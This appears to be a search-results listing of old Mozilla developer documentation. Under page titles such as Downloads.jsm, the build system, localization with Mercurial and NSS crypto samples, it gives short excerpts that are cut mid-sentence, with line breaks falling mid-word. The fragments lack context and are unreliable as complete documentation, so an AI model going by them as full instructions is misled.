o that the msaa event system can call back for the right iaccessible for each event. the checklist this checklist is currently only for microsoft windows, but should be expanded to include information about linux and os x. it is maintained by the mozilla accessibility community. contributions are welcome. general dialogs/windows/general escape key cancels dialogs and refocuses the p
reviously focused on the parent window. alt+f4 closes windows, similar to escape but even works on dialogs without cancel button alt+space opens window menu with restore, move, size, minimize, maximize, close the move and size options must be usable with the arrow keys on the keyboard in windows, initial focus goes to first focusable widget that is not a clickable tabbed prope...
..., etc. get_acckeyboardshortcut: what is the keyboard shortcut for this iaccessible (underlined alt+combo mnemonic) get_accfocus: which child is focused? get_accselection: which children of this item are selected? acclocation: get the x,y coordinates, and the height and width of this iaccessible node. accnavigate: navigate to the first/last child, p
revious/next sibling, up, down, left or right from this iaccessible. [important, but no need to implement up/down/left/right] accdodefaultaction: perform the action described by get_accdefaultaction. supporting the basic msaa states on every item: unavailable, focused, readonly, offscreen, focusable to avoid extra work, utilize implementing an msaa server ...
Lightweight themes
the tab strip. it will be anchored to the top-right corner of the browser window. view a sample theme header here. image requirements dimensions should be 3000px wide × 200px high png or jpg file format image must be no larger than 300 kb in file size tips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui. firefox may
reveal more of the lower portion of the image if another toolbar or other ui element is added to the top of the window. the upper right-hand side of the image should have the most important information - as a user increases the width of the browser window, the browser
reveals more of the left-hand side of the image. ultrawide monitors can run to 3440px wide, to look good on these monitors, ensure t...
... a free online photo editor. submitting your theme image to get started submitting your images, go to the theme submission page: name your theme — pick a unique name for your theme. duplicate names are not allowed, so you may need to try a few times to find a unique name. pick a category and tags — select a category and enter some tags that best describe your theme. keep in mind that a
reviewer may reject your theme if it is obvious that your category and/or tags are unrelated to your theme. describe your theme — write a short description of your theme. keep in mind that a
reviewer may reject your theme if your description is not an accurate representation of your theme. select a license for your theme — decide on a copyright license for your work. read more about the types o...
Bugzilla
documentation about b.m.o. what to do and what not to do in bugzilla tips for how to use bugzilla, as well as things you should avoid. bugzilla etiquette a guide to etiquette; this guide will help you understand how best to conduct yourself on b.m.o. and how using proper manners and civility will help ensure your problem gets solved sooner rather than later. how to tell if a bug has already been reported it's useful (but not mandatory) for you to check if the problem you're reporting has been already tracked. ...
...cksearch is a quick, easy, and very effective way of quickly querying bugzilla. testopia - test case management extension bugzilla.org - the project site wikipedia:bugzilla - general description of bugzilla (not specific to mozilla projects) bmo on wiki.mozilla.org - information about mozilla's customized bugzilla installation, including how to contribute to it tools bugzilla todos lists
review and flag requests, patches to check in, unfulfilled requests you made of other people, and assigned bugs. bz kanban is a board to visualize the status of bugs within a milestone. ...
How Mozilla's build system works
conf.mk). however, the most important file in terms of architecture is config.status. the existence of a config.status file may be familiar to those who have worked with autoconf before. however, mozilla's config.status is different from many other config.status files, as it's written in python! instead of our configure script producing a shell script, it generates a python script. python 2 is p
revalent in a mozilla build system. if we need to write code for the build system, we do it in python 2 instead of editing a makefile. config.status contains 2 parts: data structures representing the output of configure and a command-line interface for preparing, configuring, or generating an appropriate build backend. a build backend is merely a tool used to build the tree — like gnu make or ...
...le subdirectories. static libraries may also be linked into an executable. as an example, below is a portion of the makefile from layout/base/src: depth = ../../.. topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk module = layout library_name = gkbase_s # requires and cppsrcs omitted here for b
revity # # we don't want the shared lib, but we want to force the creation of a static lib. force_static_lib = 1 include $(topsrcdir)/config/rules.mk the key here is setting force_static_lib = 1. this creates libgkbase_s.a (on unix) and gkbase_s.lib on windows and copies it to dist/lib. now, let's take a look at how to link several static libraries together to create a component: depth ...
Old Thunderbird build
he root of your machine and re-building. get the latest source code from mozilla's comm-central mercurial code repository: hg clone https://hg.mozilla.org/comm-central then, get all the repositories it depends on. the comm-central repository includes a script to do just that. this may take a while, it's a lot of code! first, cd into the comm-central subdirectory (created automatically by the p
revious command): cd comm-central then run: python client.py checkout on some types of network connections, "hg clone" might fail because it gets interrupted. it is faster and more efficient to use mercurial bundles instead the first time you fetch the complete repo. in this case, you need a bundle for comm-central, and a bundle for mozilla-central. unbundle mozilla-central into a "mozilla" subd...
...g. those have caused several problems historically and tend to be poorly tested when the build system changes. ...
Commenting IDL for better documentation
omments only for information that is directly useful to someone using or implementing the interface. this helps keep the documentation tidy. be concise and to the point. writers will expand upon your documentation if necessary. keep in mind that people for whom english is not their native language will be reading your comments (as well as the generated documentation), so try to avoid slang and abb
reviations when possible. if possible, avoid putting comments in the middle of the definitions of apis. if an interface is used as a parameter or as the type of the value returned by a method, please use the full name of the interface in the description of the method. this will help the tools generate proper links to help make the documentation easier to read and browse through. special commands you...
...tool. using it will make it easier for documenters. @see description either an interface or a html link. note: this is not yet supported by our documentation tool. using it will make it easier for documenters. - or . used at the beginning of a comment line to indicate an unordered list item. there must be a space between the list marker and the item. nested lists should be indented from the p
revious level by two spaces. -# used at the beginning of a comment line to indicate an ordered list item. there must be a space between the list marker and the item. nested lists should be indented from the p
revious level by two spaces. other tips some other helpful writing style tips that will help you make your comments cleaner and easier to read and understand: you don't need to include what...
Performance
ng addon startup get executed during session restore. the more expensive they are to execute the longer it will take for the browser to become responsive after startup. frame scripts also get executed on non-restored tabs. all their overhead is thus not just incurred by active tabs but by the total number of tabs in a session. the following examples omit some boilerplate code for the sake of b
revity the "better" examples also omit some best practices and only demonstrate how to fix the problem described in their respective subtopics. performance best practices declaring stateless functions once per process bad: // addon.js services.mm.loadframescript("framescript.js", true) // framescript.js const precomputedconstants = // ... function helper(window, action) { // ... do some ...
... process to check whether a specific request can be allowed it would slow down all page loads, as web pages generally issue dozens of requests. better: instead of only keeping the state in the parent an addon can employ a master-slave architecture where the parent has the authoritative state and replicates it to the child processes in advance so they can act based on their local copy. see the p
revious chapter on how to efficiently replicate addon state to each process. clean up on addon unload bad: all the p
revious examples, *even the "better" ones* if your addon is restartless or uses the sdk then updates or the user turning it off and on will load to unload/reload events. not handling those properly can lead to duplicate or conflicting code execution, especially when messages a...
Performance best practices for Firefox front-end engineers
. that means that finding and removing (when possible) over-painting is a good place to start reducing your burden on the main thread, which will in turn improve performance. perhaps you’re animating something that requires a repaint? for example, transitioning the background-color of a dom node from red to blue will result in a repaint for every frame of the animation, and paint flashing will
reveal that. consider using a different animation that can be accelerated by the gpu. these gpu-accelerated animations occur off of the main thread, and have a much higher probability of running at 60 fps (see the section below called use the compositor for animations for further details). perhaps you’re touching some dom nodes in such a way that unexpected repaints are occurring in an area that d...
...end animation values some optimizations in the animation code of gecko are based on an expectation that the from (0%) and the to (100%) values will be explicitly defined in the @keyframes definition. even though these values may be inferred through the use of initial values or the cascade, the offscreen animation optimizations are dependent on the explicit definition. see this comment and a few p
revious comments on that bug for more information. use indexeddb for storage appcache and localstorage are synchronous storage apis that will block the main thread when you use them. avoid them at all costs! indexeddb is preferable, as the api is asynchronous (all disk operations occur off of the main thread), and can be accessed from web workers. indexeddb is also arguably better than storing an...
Tracking Protection
protection is enabled. for example, if your site includes a callback that runs when content from a tracking site is loaded, then the callback will not execute. ...
... note: depending on ...
HTMLIFrameElement.findNext()
invoking this method results in a mozbrowserfindchange event firing, which carries details about the search results. note: use of the browser api requires a privileged app, and browser and/or embed-apps permissions, depending on what you want to do. see using the browser api for more details. syntax instanceofhtmliframeelement.findnext(direction); return value void. parameters direction a string indicating the direction in which you want to cycle through the available search results. ...
...frameelement.findnext(direction); return value void. parameters direction a string indicating the direction in which you want to cycle through the available search results. available values are forward and backward. examples the following functions are taken from our browser api demo, and cycle through the available search results. see implementing the search bar for more explanation. p
rev.addeventlistener('touchend',function() { browser.findnext('backward'); }); next.addeventlistener('touchend',function() { browser.findnext('forward'); }); specification not part of any specification. ...
HTML parser threading
en started and mspeculationmutex released, the parser thread will parse incoming data and the tree builder will produce tree ops so that they get flushed into the queue in the speculation object. if another tree op that attempts to execute a script is generated while speculating, another speculation object is initialized as described above and placed in the queue of speculation objects after the p
revious one. it is possible that the parser thread ends up parsing all remaining data into speculations before the main thread is ready to receive more tree ops. attempting to execute a script on the main thread, when the tree op executor executes a tree op that attempts to execute a script, the tree op is first checked for a tree builder state snapshot. there will be a snapshot if the tree op came f...
...tml5treeopexecutor::runflushloop(), nshtml5treeopexecutor::flushdocumentwrite() does not sample the clock to return early. inline scripts that arrive from document.write() are executed synchronously (if the parser isn't already blocked). external scripts arriving from document.write() block the parser. if there is data in document.write() input after a an external script (or any data at all if a p
revious document.write() call has contained an external script and blocked the parser), the data is left in a linked list of nshtml5owningutf16buffer objects. (how exactly data is inserted into the buffer list depends on parser keys when document.write() is invoked re-entrantly, but that's outside the scope of this document, since this document is about parser threading.) whenever the argument of doc...
Script security
oss-origin get highly restricted access to each other, according to the same-origin policy. for example, code served from https://example.org/ trying to access objects from https://somewhere-else.org/ will have restricted access. objects in a privileged scope are allowed complete access to objects in a less privileged scope, but by default they see a restricted view of such objects, designed to p
revent them from being tricked by the untrusted code. an example of this scope is chrome-privileged javascript accessing web content. objects in a less privileged scope don't get any access to objects in a more privileged scope, unless the more privileged scope explicitly clones those objects. an example of this scope is web content accessing objects in a chrome-privileged scope. compartments co...
... there are other examples in gecko. the add-on sdk runs content scripts in sandboxes, which are initialized with an expanded principal, giving them elevated privileges with respect to the web content they operate on, but reduced privileges with respect to chrome. if the caller has a higher privilege than the target object, the caller gets an xray wrapper for the object. xrays are designed to p
revent untrusted code from confusing trusted code by redefining objects in unexpected ways. for example, privileged code using an xray to a dom object sees only the original version of the dom object. any expando properties are not visible, and if any native dom properties have been redefined, they are not visible in the xray. the privileged code is able to waive xrays if it wants unfiltered access ...
Getting Started with Chat
code ●* — binary or executable may be available. if not, you'll have to download source code and compile. note: for a complete list of irc clients go here. web-based clients there are also a few web-based clients which allow connecting to irc by clicking on irc:// links. one of the simplest web-based clients is mibbit, another is irccloud. these operate very much in the same way as the p
reviously mentioned desktop clients and chatzilla. mibbit does not require flash or any other plugins. channels here is a list of channels you should be aware of as a member of the mozilla community: (remember to use irc.mozilla.org and port 6697 or 6667 for your server settings) #qa a channel for qa discussion #developers a channel for mozilla development discussion ...
...this information displays in the server window. for more information about irc commands go here. bots some users in irc are not human. these users are known as bots and automatically perform certain tasks; some automatic, some triggered by other users. the most common of these bots are called nickserv, chanserv, and firebot. nickserv this bot allows you to register your nickname which p
revents other users from using it. nickserv also automatically elevates all registered users to operators when they sign on.the following are some helpful commands which can be used by nickserv: /msg nickserv register password email this registers your nickname with the server. /msg nickserv identify password once registered, you need to type this every time you want to sign ...
AsyncShutdown.jsm
ng shutdown issues with this blocker return status; } }); in this example, at some point during phase profilebeforechange, function condition will be called. phase profilebeforechange is guaranteed to not terminate until promise is either resolved or rejected. if, for some reason, promise is never resolved/rejected, firefox will crash during shutdown to avoid blocking system shutdown, p
reventing the user from restarting firefox or burning through a battery. in this case, a crash report is produced, with information on all the shutdown blockers that have not been resolved, and all the additional debug information returned by calls to info(). instances of phase note that you cannot create an instance of phase yourself. see attributes for the instances of phase. if you need a new...
... rejected }); asyncshutdown.profilebeforechange.addblocker("module: trivial callback", function condition() { // ... // execute this code during profilebeforechange // no specific guarantee about completion of profilebeforechange }); if the promise returned by condition is not resolved/rejected within one minute, the process will crash to avoid blocking system shutdown, p
reventing the user from restarting firefox or burning through battery. this is by design. it is the caller's responsibility to ensure that the promise is eventually resolved/rejected. properties attribute type description profilebeforechange read only phase the profile is about to be unmounted. this phase represents the last chance to write data to the ...
Download
can be done using the removepartialdata() or the finalize() methods. methods start() starts the download for the first time, or restarts a download that failed or has been canceled. calling this method when the download has been completed successfully has no effect, and the method returns a resolved promise. if the download is in progress, the method returns the same promise as the p
revious call. if the cancel() method was called but the cancellation process has not finished yet, this method waits for the cancellation to finish, then restarts the download immediately. note: if you need to start a new download from the same source, rather than restarting a failed or canceled one, you should create a separate download object with the same source as the current one. promise star...
...an be rejected with never rejected. finalize() ensures that the download is stopped, and optionally removes any partial data kept as part of a canceled or failed download. after this method has been called, the download cannot be started again. note: this method should be used in place of the cancel() and removepartialdata() methods while shutting down or disposing of the download object, to p
revent other callers from interfering with the operation. this is required because cancellation and other operations are asynchronous. promise finalize( boolean aremovepartialdata ); parameters aremovepartialdata optional whether any partially downloaded data should be removed after the download has been stopped. the default is false. promise resolves to undefined when the operation has f...
Downloads.jsm
ully and you can access the target file. promise can be rejected with downloaderror if the download failed. getlist() retrieves the specified type of downloadlist object. there is one download list for each type, and this method always retrieves a reference to the same download list when called with the same argument. calling this function may cause the download list to be reloaded from the p
revious session, if it wasn't loaded already. promise<downloadlist> getlist(atype); parameters atype this can be downloads.public, downloads.private, or downloads.all. downloads added to the downloads.public and downloads.private lists are reflected in the downloads.all list, and downloads added to the downloads.all list are also added to either the downloads.public or the downloads.private li...
...ed on their properties. promise resolves to the requested downloadlist object. getsummary() retrieves the specified type of downloadsummary object. there is one download summary for each type, and this method always retrieves a reference to the same download summary when called with the same argument. calling this function does not cause the list of public downloads to be reloaded from the p
revious session. the summary will behave as if no downloads are present until the getlist() method is called. promise<downloadsummary> getsummary(atype); parameters atype this can be downloads.public, downloads.private, or downloads.all. promise resolves to the requested downloadsummary object. examples downloading to a local file this example downloads an html file without showing progr...
Examples
specified and the return value of the last then method is ignored. if the file existence check fails, for example because access is denied, promise is rejected with an os.file.error instance. this state will propagate to newpomise, and components.utils.reporterror will report all the details of the exception to the console. ...
...now what if we want to run multiple promises and then return when all are done? this is accomplished by using promise.all, this feature requires promise.jsm. const {cu} = require("chrome"); const {textdecoder, textencoder, os} = cu.import("resource://gre/modules/osfile.jsm", {}); /* files: an array of file paths */ function readtextfiles(files) { let promises = [], ...
XPCOMUtils.jsm
offers utility routines for javascript components loaded by the javascript component loader. to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/xpcomutils.jsm"); using xpcomutils exposing a javascript class as a component using these utility methods requires four key steps: import xpcomutils.jsm, as explained p
reviously. declare the class (or multiple classes) implementing the component(s). create an array of component constructors. define the nsgetfactory() or nsgetmodule() entry point. pseudocode this section provides some pseudocode that demonstrates how to put together a javascript class based on the steps listed above. constructor the constructor is a simple method that handles any required in...
...ou need to create an array that lists the constructors for each component. this array can of course have just one entry: var components = [mycomponent]; here, we're calling the array components. ...
Mozilla Content Localized in Your Language
localizing mozilla products and web sites. you are free to add, edit, remove, and localize everything in this section according to how the localization team for your language agrees. all we ask is that you name this page according to this example, "mozilla content in spanish (es-mx)" and add your locale code tag at the bottom. enjoy developing your style guide! your language's style guide abb
reviations how are abb
reviations expressed in your language? numerals and metrics how are numerals and metrics expressed in your language? formal and informal forms, and separators (, or .) date format what are the date formats for weeks and months are expressed in the following forms: 1)fully spelled out, 2). 2 or 3 letters and 3). single letter. and what is the order of year, month and day? ...
..., "clear history", "add email", "select all", etc. value selector lists capitalize the first letter of the first word and the first letter of any proper nouns. limit to one or two words. note: if this doesn't apply to your language, indicate so as n/a. articles -- avoid them articles (such as the word "the" in english) should be avoided whe
rever possible. user interface elements have limited space available for text. avoiding articles will help ensure that your translations will be accommodated within the user interface. note: if this doesn't apply to your language, indicate so as n/a. ellipsis ellipsis are often inserted automatically in the ui where strings are truncated. ellipsis should only be ...
Localizing with Mercurial
tems or mercurial.ini on windows) under the [extensions] section. open your command line tool and navigate to your l10n directory. inside your l10n directory, init your repo with mq by running hg init --mq. to create a new patch, run hg qnew -m "your commit message" patch-name.patch. the commit message should take the form of "bug 123456 - change this thing to work better by doing something; r=
reviewers" if you are to fix a bug. make your change. once you finish making your change, run hg qrefresh to commit your changes to the patch. navigate to your <repository>/.hg/patches to find your .patch. you may repeat from step 4 to create another patch. your patches will be incremental, i.e. new patches are created based on old patches. if you want to commit all the patches to the repository ...
...ite access to the l10n hg repositories on the mozilla server, there's a bit of paper work to be done. the localization team owner needs to file a bug requesting an hg account. this bug will request level 1 l10n priviledges. you need to follow the instructions regarding the contributor form. write access to the hg repositories requires a ''voucher'', which, for the owner, will be done based on the
review by mozilla. for peers of a localization, the owner can vouch (once she or he is registered). sending changes to mozilla now that you have hg account privileges, you can send your work to mozilla all by yourself. here are the steps to send your l10n work using mercurial: since your l10n work takes place in your own local repository, you should ensure that there are no changes made to the r...
Localizing without a specialized tool
the en-us sources $ cd /path/to/your/working/directory now, you will need run compare locales. to do this, enter the following commands, keeping sure to change "x-testing" to the actual locale code of your locale. $ compare-locales mozilla-1.9.2/browser/locales/l10n.ini l10n-mozilla-1.9.2 x-testing for convenience, try saving the output of this command to a text file on your desktop so you can
review it as you go. run: $ compare-locales mozilla-1.9.2/browser/locales/l10n.ini l10n-mozilla-1.9.2 x-testing > ~/desktop/x-testing.compare open the x-testing.compare file that is on your desktop. you should see something like this: x-testing browser chrome browser aboutcerterror.dtd // add and localize this file aboutdialog.dtd +aboutlink ...
...e and translate the strings that follow the "=". for instance, enter the proper translation for the line "add %s" cmd_addfoundengine=add "%s" with these two string examples translated, you can now test your work to see immediately where you have translated. refer to the building and testing section of the create a new localization page. going one-by-one with your compare-locales output open for
review, we will start with the first file with "// add and localize this file" note. you should see // add and localize this file aboutcerterror.dtd notice from the compare-locales output that this file is located in the directory /browser/chrome/browser. you will want to copy this file from the en-us sources into the proper ab-cd directory. to do this, you first need to create the direct...
QA phase
/your/working_dir/l10n_base/x-testing. in this directory, you should have an hg repository. you might have created it yourself by running hg init or hg clone or you might have had it created by koala when you were setting up a new localization project. also at this point, you shouldn't have any uncommitted changes (i.e., running the hg status command should show nothing). let's see what the last
revision in this repository is. enter the following command: $ hg log -l 1 you should see an output similar to the one below: changeset: 0:7c543e8f3a6a tag: tip user: your name <email@example.com> date: mon nov 23 18:08:25 2009 +0100 summary: added search bar strings now compare the local repository on your machine with the remote hg repository by entering this c...
...te that due to the distributed nature of hg, hg commit saves the changes locally (i.e., in your computer's hg repository). you can see the history of commits with hg log. after doing hg commit, you still need to send the changes to the remote repository. this is where hg push comes in. this sends your commits to the remote repository. now you're ready to proceed to the release phase! « p
reviousnext » ...
What every Mozilla translator should know
ted by the localizers. some branch/release names identified: mozilla source + en-us localization files for [ab-cd] locale corresponding firefox version branches in hg mozilla-central l10n-central firefox.next (trunk) mozilla-1.9.2 l10n-mozilla-1.9.2 firefox 3.6 mozilla-1.9.1 l10n-mozilla-1.9.1 firefox 3.5 and, on the former
revision control system, cvs: cvs trunk (the default branch) -> firefox/thunderbird 3.0.x branch mozilla_1_8_branch -> firefox/thunderbird 2.0 branch mozilla cross-reference mozilla cross-reference is a web site mirroring the content of the hg server. here we can easily have a look into other languages translations. bugzilla, the bug-tracking system you do need an account in bugzilla you sh...
... there is one exception to this process. if you choose to make any changes to the productization elements (i.e. search plugins, protocol handlers, rss/live bookmarks), you will need to upload a patch with the suggested changes to bugzilla and get approval before pushing those changes to your hg repository. do the changes in your local disk create a diff file with th...
Mozilla Web Developer FAQ
e of the methods and objects you are planning on using. for example, the existence of document.getelementbyid() can be checked as follows: if(document.getelementbyid) { /* code that uses document.getelementbyid() */ } why doesn’t mozilla display my alt tooltips? contrary to a popular belief stemming from the behavior of a couple browsers running on the windows platform, alt isn’t an abb
reviation for ‘tooltip’ but for ‘alternative’. the value of the alt attribute is a textual replacement for the image and is displayed when the image isn’t. mozilla doesn’t display the alt attribute as a tooltip, because it has been observed that doing so encourages authors to misuse the attribute. when the alternative text is shown in a tooltip, some authors write bad alt texts, becau...
...e alleged common cases. however, it turns out mozilla is doing that already. mozilla’s standards mode is, obviously, already compatible with other browsers that implement the same standards reasonably correctly. on the other hand, mozilla’s quirks mode already accommodates common non-standardisms that are due to the behaviors of common legacy browsers. instead of putting time and effort into
reverse-engineering and cloning legacy browsers, it makes more sense to focus on implementing standards. standards (when implemented by others as well) promote interoperability better than cloning legacy software bug by bug. also, html was designed to adapt to different presentation media, so different presentations of the same document are to be expected. according to the accept header, gecko acce...
Mozilla Style System Documentation
scssframeconstructor::attributechanged hack for style attribute that avoids style context tree manipulation. problems: dynamic style changes scrap the whole thing and start over. this is very hard to fix because of the "sibling-sharing" optimisation. matters dealing with dynamic style changes are also tricky because the style contexts don't have pointers to their frames, but instead, we have the
reverse and is probably the biggest flaw in the design of this part of the system. getting style data from a style context to get style data from a style context, use the getstyledata method to fill in a pointer to a style struct. each of the style structs contains a group of properties. the structs are listed in, nsstylestruct.hand the many of the values are in nsstyleconsts.h. each of the structs...
...hen the style struct is computed from the declaration and stored at the appropriate location in the rule tree or on the style context. problems: dynamic style changes often destroy too much data. css stylesheet backend css stylesheet loading [this section needs to be written. i'm reluctant to write it both since i don't know much about it.] problems:a bunch the code needs to be rewritten to p
revent stylesheets from blocking the parser and to reduce string copying (although that partly goes with parsing).] parsing stylesheet representation problems: the stylesheet representation uses way too much memory. other nsistylesheet implementations problems: some of the html style information is implemented in the content node classes. it should be consolidated so that the style system code c...
BloatView
memory freed from the amount allocated. the show objects and show references buttons show the same statistics but counting objects or addref'd references rather than bytes. comparing bloat logs you can also compare any two bloat logs (either those produced when the program shuts down, or written to the bloatlogs directory) by running the following program. ...
... bytes. comparing bloat logs you can also compare any two bloat logs (either those produced when the program shuts down, or written to the bloatlogs directory) by running the following program. ...
A brief guide to Mozilla preferences
effect immediately. the values are saved to the user profile (in prefs.js), for both firefox and thunderbird. a preference is read from a file, and can call up to four methods: pref(), user_pref(), sticky_pref() and lockpref(). all preferences files may call pref(), user_pref() and sticky_pref(), while the config file in addition may call lockpref(). preferences files to protect privacy by p
reventing inadvertent loading of a preferences file in the browser, the first line of the file is made un-parseable and skipped on loading. the only exception to this is user.js . on application launch, several preferences files are loaded. they are: default preference files firefox ships default preferences in several files, all in the application directory: greprefs.js - preferences sha...
...erface such as the preferences dialog, the application saves the change by overwriting prefs.js . on application exit, all user-set preferences are saved to prefs.js . this also means that preferences initially set by user.js will also be saved to prefs.js. do not edit prefs.js directly. note the application never changes user.js, so on launch user.js overrides conflicting preferences from the p
revious application session. when prefs.js is written, it only saves user preferences which are different from the default. the exception to this is a preference read using sticky_pref() - these preference will be written whenever the preference has a user value even when it is the same as the default. modifying preferences advanced users can set named preferences via the advanced preferences ed...
A guide to searching crash reports
en choose a field ("is garbage collecting") and an operator ("is true"). the operators available for each field depends on its type. with these criteria added the search form looks like the following screenshot. after clicking on "search" we get results like those in the following screenshot. the number of crash reports matching this search is in the thousands, i.e. much smaller than the p
revious search. proto signature the "proto signature" field is just the raw unprocessed crash stack concatenated together. you can do things like: search for crashes where the signature is foo, and the proto signature contains bar. this is helpful if you have a fairly generic signature and you want to see how many of them are a particular case of it that you've come across. or instead of a sign...
...nature and you want to see how many of them are a particular case of it that you've come across. or instead of a signature foo, a moz crash reason or something else. use it as a facet. this lets you skim the full signatures of crashes at a glance, bucketed together a bit. note that because the proto signature includes the entire signature, things aren't grouped all that well. grouping in the p
revious section we saw one example of grouping, in the "signature facet" tab that is shown by default. but there are many other interesting ways to group searches. facets in the search form to do a search with non-signature grouping first click on the "more options..." text, which
reveals the additional fields shown in the following screenshot. (the "show columns" and "sort by" fields are straig...
L20n Javascript API
tter suited for adding resources. ctx.addeventlistener(event: string, callback: function) register an event handler on the context instance. currently available event types: ready - fired when all resources are available and the context instance is ready to be used. this event is also fired after each change to locale order (retranslation). error - fired when an error occurs which p
revents the context instance from working correctly or when the existing translations are buggy. the error object is passed as the first argument to callback. these errors include: context.runtimeerror, when an entity is missing or broken in all supported locales; in this case, l20n will show the the best available fallback of the requested entity in the ui: the source string as found in ...
...t locale in the fallback chain, compiler.error, when l20n is unable to evaluate an entity to a string; there are two types of errors in this category: compiler.valueerror, when l20n can still try to use the literal source string of the entity as fallback, and compiler.indexerror otherwise. ctx.removeeventlistener(event: string, callback: function) remove an event listener p
reviously registered with addeventlistener. ctx.updatedata(ctxdata: object) update the context data which will be available to all entities in the context. the ctxdata is an object which extends the context data per key and per level of hierarchy. in other words, the following two calls: ctx.updatedata({ user: { name: "bob" } }); ctx.updatedata({ user: { gender: "masculine" } }); will make th...
Localization Use Cases
extcontent = _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } problem definition even though there's no need to localize the units in english at all, we still need to do it, because in other languages we might need to use localized names. byteunit-b = b byteunit-kb = kb byteunit-mb = mb byteunit-gb = gb byteunit-tb = tb for example in french, the unit abb
reviations are as follows: byteunit-b = o byteunit-kb = ko byteunit-mb = mo byteunit-gb = go byteunit-tb = to solution in l20n, the french localizer could provide the translation of unit abb
reviations locally in the localization file, without impacting the english localization file. in the javascript code, the developer needs to pass sizeinfo.unit instead of a localized value: function showform...
... ...
McCoy
y there is no support to run mccoy from command line under windows, but it is planned to add this support in the future. ...
...upport to run mccoy from command line under windows, but it is planned to add this support in the future. ...
Midas
sing signed js. user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.clipboard.paste", "allaccess"); see: more about security preferences note: the shortcut key will automatically trigger this command (typically accel-v) with or without the signed js or any code on the page to handle it. redo this command will redo the p
revious undo action. if undo was not the most recent action, this command will have no effect. note: the shortcut key will automatically trigger this command (typically accel-shift-z) removeformat removes inline formatting from the current selection. selectall this command will select all of the contents within the editable area. note: the shortcut key will...
... will be drawn slightly higher than normal text. underline if there is no selection, the insertion point will set underline for subsequently typed characters. if there is a selection and all of the characters are already underlined, the underline will be removed. otherwise, all selected characters will become underlined. undo this command will undo the p
revious action. if no action has occurred in the document, then this command will have no effect. note: the shortcut key will automatically trigger this command (typically accel-z) unlink if the insertion point is within a link or if the current selection contains a link, the link will be removed and the text will remain. readonly this command h...
Nonblocking IO In NSPR
a thread invoking an io function is blocked until the io operation is finished. the blocking io model encourages the use of multiple threads as a programming model. a thread is typically created to attend to one of the simultaneous i/o operations that may potentially block. in the nonblocking io model, a file descriptor may be marked as nonblocking. an io function on a nonblocking file descriptor either succeeds immediately or fails immediately with <tt>pr_would_block_error</tt>. a single thread is sufficient to attend to multiple nonblocking file descriptors simultaneously. ...
...e is a second constraint, due to the use of nt asynchronous i/o and the recycling of used sockets: the new socket returned by <tt>pr_accept()</tt> or <tt>pr_acceptread()</tt> inherits the blocking/nonblocking io mode of the listening socket and this cannot be changed. the socket returned by <tt>pr_accept()</tt> or <tt>pr_acceptread()</tt> on a blocking, listening socket may be a recycled socket p
reviously used in a <tt>pr_transmitfile()</tt> call. since <tt>pr_transmitfile()</tt> only operates in blocking mode, this recycled socket can only be reused in blocking mode, hence the above constraint. because these constraints only apply to nt, it is advised that you test your cross-platform code that uses nonblocking io on nt early in the development cycle. these constraints are enforced in the d...
PLHashComparator
); description plhashcomparator is a function type that compares two values of an unspecified type. it returns a nonzero value if the two values are equal, and 0 if the two values are not equal. ...
...t equal. plhashcomparator defines the meaning of equality for the unspecified type. for convenience, two comparator functions are provided. pl_comparestrings compare two character strings using strcmp. ...
Certificate functions
ter cert_certlistfromcert mxr 3.2 and later cert_certtimesvalid mxr 3.2 and later cert_changecerttrust mxr 3.2 and later cert_checkcertvalidtimes mxr 3.2 and later cert_checknamespace mxr 3.12 and later cert_checkcertusage mxr 3.3 and later cert_comparename mxr 3.2 and later cert_compa
revaliditytimes mxr 3.11 and later cert_completecrldecodeentries mxr 3.6 and later cert_convertanddecodecertificate mxr 3.9.3 and later cert_copyname mxr 3.4 and later cert_copyrdn mxr 3.5 and later cert_createava mxr 3.2.1 and later cert_createcertificate mxr 3.5 and later cert_createcertificater...
...mxr 3.10 and later cert_getocspresponsestatus mxr 3.6 and later cert_getocspstatusforcertid mxr 3.6 and later cert_getoidstring mxr 3.9 and later cert_getorgname mxr 3.2 and later cert_getorgunitname mxr 3.2 and later cert_getocspauthorityinfoaccesslocation mxr 3.4 and later cert_getpkixverifynist
revocationpolicy mxr 3.12 and later cert_getp
revgeneralname mxr 3.10 and later cert_getp
revnameconstraint mxr 3.10 and later cert_getsloptime mxr 3.2 and later cert_getsslcacerts mxr 3.2 and later cert_getstatename mxr 3.2 and later cert_getusepkixforvalidation mxr 3.12 and later cert_getvaliddnsp...
Encrypt Decrypt MAC Keys As Session Objects
_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
...enerate a random value to use as iv for aes cbc * open an input file and an output file, * write a header to the output that identifies the two keys by * their cka_ids, may include original file name and length. ...
Encrypt and decrypt MAC using token
_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using p
reviously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
...enerate a random value to use as iv for aes cbc * open an input file and an output file, * write a header to the output that identifies the two keys by * their cka_ids, may include original file name and length. ...
NSS 3.12.6 release notes
bugs fixed the following bugs have been fixed in nss 3.12.6. ...
...44584: segmentation fault when enumerating the nss database bug 544586: various nss-sys-init patches from fedora bug 545273: remove unused function sec_init bug 546389: nsssysinit binary built inside source tree documentation for a list of the primary nss documentation pages on mozilla.org, see nss documentation. new and
